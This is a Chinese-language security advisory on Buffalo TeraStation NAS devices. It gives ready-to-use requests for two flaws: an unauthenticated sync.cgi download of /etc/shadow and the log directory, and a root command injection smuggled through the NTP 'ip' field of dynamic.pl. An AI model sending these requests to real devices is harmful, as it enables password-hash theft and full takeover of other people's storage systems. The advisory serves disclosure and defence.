发布日期：2013-01-30
更新日期：2013-02-01
受影响系统：
buffalotech TeraStation
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 57634
Buffalo TeraStation NAS是集中式存储和备份解决方案。
Buffalo TeraStation TS系列在dynamic.pl的实现上存在NTP命令注入漏洞，已验证的用户可通过root权限在系统上执行任意命令。
<*来源：Andrea Fabrizi （andrea.fabrizi@gmail.com）
链接：?utm_source=twitterfeed&utm_medium=twitter
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
1]======== sync.cgi unauthenticated arbitrary file download ========
Requesting an unprotected cgi, it's possible, for an unauthenticated
user, to download any system file, included /etc/shadow, that contains
the password shadows for the application/system users.
/cgi-bin/sync.cgi?gSSS=foo&gRRR=foo&gPage=information&gMode=log&gType=save&gKey=/etc/shadow
Moreover, using the key "all" it's possible to download the entire
/var/log directory:
/cgi-bin/sync.cgi?gSSS=foo&gRRR=foo&gPage=information&gMode=log&gType=save&gKey=all
2]======== dynamic.pl NTP command injection ========
This vulnerability allows authenticated users to execute arbitrary
commands on the system with root privileges.
This is a sample request:
#####################################
POST /dynamic.pl HTTP/1.1
Content-Length: 89
Cookie: webui_session_admin=xxxxxxxxxxxxxxxxxxxxxx_en_0
bufaction=setDTSettings&dateMethod=on
&ip=www.google.it%26%26[COMMAND]>/tmp/output
&syncFreq=1d
#####################################
建议：
--------------------------------------------------------------------------------
厂商补丁：
buffalotech
-----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：